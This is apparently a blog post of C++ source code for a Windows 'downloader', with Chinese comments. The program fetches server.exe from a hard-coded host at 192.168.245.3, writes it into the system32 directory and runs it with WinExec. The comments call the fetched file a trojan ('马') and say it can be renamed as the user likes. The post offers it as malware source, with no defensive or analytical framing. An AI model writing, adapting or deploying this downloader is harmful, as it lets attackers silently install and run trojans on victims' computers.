#include <windows.h>
#include <string.h>
#include <urlmon.h>
#pragma comment (lib, "urlmon.lib")
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow)
{
static char mulu[MAX_PATH];
char url[]="http://192.168.245.3/server.exe"; //下载文件的地址
GetSystemDirectory(mulu,MAX_PATH); //获得系统system32目录路径
strcpy(mulu,strcat(mulu,"/server.exe")); //aaa.exe文件这里可以随便改名,改成你想叫的
URLDownloadToFile(NULL,url,mulu,0,NULL); //下载
WinExec(mulu, SW_SHOW); //自动执行你下载下来的马
return 0;
}
C++下载者源码
最新推荐文章于 2021-11-27 13:29:54 发布